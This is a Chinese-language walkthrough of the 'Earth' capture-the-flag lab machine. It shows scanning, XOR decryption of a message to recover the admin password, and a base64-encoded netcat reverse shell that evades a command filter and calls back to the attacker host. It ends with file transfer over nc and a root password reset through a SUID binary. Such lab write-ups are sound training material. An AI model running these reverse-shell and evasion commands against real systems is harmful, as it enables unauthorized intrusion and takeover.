The Planets: Earth靶机渗透记录

主机：192.168.101.5
靶机：192.168.101.15

nmap -p- 192.168.101.15

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

#查询发现需要域名DNS:earth.local, DNS:terratest.earth.local 才能正常访问
nmap -sS -sV -A -n 192.168.101.15

Not shown: 970 filtered tcp ports (no-response), 27 filtered tcp ports (admin-prohibited)                                                                                                                          
PORT    STATE SERVICE  VERSION                                                                                                                                                                                     
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)                                                                                                                                                                  
| ssh-hostkey:                                                                                                                                                                                                     
|   256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)                                                                                                                                                    
|_  256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519)                                                                                                                                                  
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)                                                                                                                     
|_http-title: Bad Request (400)                                                                                                                                                                                    
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9                                                                                                                              
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)                                                                                                                     
|_ssl-date: TLS randomness does not represent time                                                                                                                                                                 
|_http-title: Test Page for the HTTP Server on Fedora                                                                                                                                                              
| http-methods:                                                                                                                                                                                                    
|_  Potentially risky methods: TRACE                                                                                                                                                                               
| ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space                                                                                                                                              
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local                                                                                                                                             
| Not valid before: 2021-10-12T23:26:31                                                                                                                                                                            
|_Not valid after:  2031-10-10T23:26:31                                                                                                                                                                            
| tls-alpn:                                                                                                                                                                                                        
|_  http/1.1                                                                                                                                                                                                       
|_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9

#更改hosts文件，解析IP为域名，访问成功
/etc/hosts
192.168.101.15 earth.local
192.168.101.15 terratest.earth.local

#dirsearch扫描后台目录，因为存在两个域名和两个端口，所以都扫一下
dirsearch -u http://earth.local
dirsearch -u http://terratest.earth.local
dirsearch -u https://earth.local
dirsearch -u https://terratest.earth.local
#扫描出的有效信息
http://earth.local/admin
http://earth.local/admin/login
https://terratest.earth.local/robots.txt
#robots.txt下有路径前缀，和一段后缀，写个脚本都试一下，只有后缀txt可以访问
User-Agent: *
Disallow: /*.asp
Disallow: /*.aspx
Disallow: /*.bat
Disallow: /*.c
Disallow: /*.cfm
Disallow: /*.cgi
Disallow: /*.com
Disallow: /*.dll
Disallow: /*.exe
Disallow: /*.htm
Disallow: /*.html
Disallow: /*.inc
Disallow: /*.jhtml
Disallow: /*.jsa
Disallow: /*.json
Disallow: /*.jsp
Disallow: /*.log
Disallow: /*.mdb
Disallow: /*.nsf
Disallow: /*.php
Disallow: /*.phtml
Disallow: /*.pl
Disallow: /*.reg
Disallow: /*.sh
Disallow: /*.shtml
Disallow: /*.sql
Disallow: /*.txt
Disallow: /*.xml
Disallow: /testingnotes.*

https://terratest.earth.local/testingnotes.txt
#获取信息，提示主页消息是用异或加密，testdata.txt是密钥，网站用户是terra
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.
#访问密钥内容
https://terratest.earth.local/testdata.txt

key:According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

密文：2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
#解密明文，循环的字符串可能是terra的密码
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
#尝试登录，成功，获取shell
user：terra password：earthclimatechangebad4humans
#因为shell过滤了远程控制的命令，且网站目录没有write权限，所以采用base64加密管道执行
echo "nc -e /bin/bash 192.168.101.5 6666" | base64
#payload为下
echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTAxLjUgNjY2Ngo= | base64 -d | bash
#主机开启监听，获得回弹shell
nc -lvvp 6666
#切换交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
#查询flag文件
find / -name "*flag*"

/root/root_flag.txt
/var/earth_web/user_flag.txt
/usr/sbin/grub2-set-bootflag
#获取第一个flag
cat /var/earth_web/user_flag.txt                                                                                                                                                                                   
[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]          
#开始提权，查询4000权限文件，发现reset_root文件，意为重置root密码
find / -user root -perm -4000 -print 2>/dev/null 

/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
#执行未成功，nc开启1234端口，传递文件到主机上分析
nc -nlvp 1234 > reset_root

nc 192.168.101.5 1234 < /usr/bin/reset_root
#strace分析结果为缺少3个文件
strace ./reset_root

ccess("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (没有那个文件或目录)
#靶机创建三个文件
touch /dev/shm/kHgTFI5G;touch /dev/shm/Zw7bV9U5;touch /tmp/kcM0Wewe
#执行，提权成功
/usr/bin/reset_root
CHECKING IF RESET TRIGGERS PRESENT...
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

su
#查看最后的flag，通关
cat root_flag.txt

              _-o#&&*''''?d:>b\_
          _o/"`''  '',, dMF9MMMMMHo_
       .o&#'        `"MbHMMMMMMMMMMMHo.
     .o"" '         vodM*$&&HMMMMMMMMMM?.
    ,'              $M&ood,~'`(&##MMMMMMH\
   /               ,MMMMMMM#b?#bobMMMMHMMML
  &              ?MMMMMMMMMMMMMMMMM7MMM$R*Hk
 ?$.            :MMMMMMMMMMMMMMMMMMM/HMMM|`*L
|               |MMMMMMMMMMMMMMMMMMMMbMH'   T,
$H#:            `*MMMMMMMMMMMMMMMMMMMMb#}'  `?
]MMH#             ""*""""*#MMMMMMMMMMMMM'    -
MMMMMb_                   |MMMMMMMMMMMP'     :
HMMMMMMMHo                 `MMMMMMMMMT       .
?MMMMMMMMP                  9MMMMMMMM}       -
-?MMMMMMM                  |MMMMMMMMM?,d-    '
 :|MMMMMM-                 `MMMMMMMT .M|.   :
  .9MMM[                    &MMMMM*' `'    .
   :9MMk                    `MMM#"        -
     &M}                     `          .-
      `&.                             .
        `~,   .                     ./
            . _                  .-
              '`--._,dd###pp=""'

Congratulations on completing Earth!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_b0da9554d29db2117b02aa8b66ec492e]